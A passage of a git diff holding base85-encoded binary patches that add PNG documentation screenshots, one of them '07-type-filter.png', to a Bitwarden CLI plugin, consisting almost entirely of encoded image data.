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 G0K`9c`e^9@ literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/07-type-filter.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/07-type-filter.png new file mode 100644 index 0000000000000000000000000000000000000000..b90579d5d4ba3d0c109b56622d52bfdc620786f0 GIT binary patch literal 91910 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 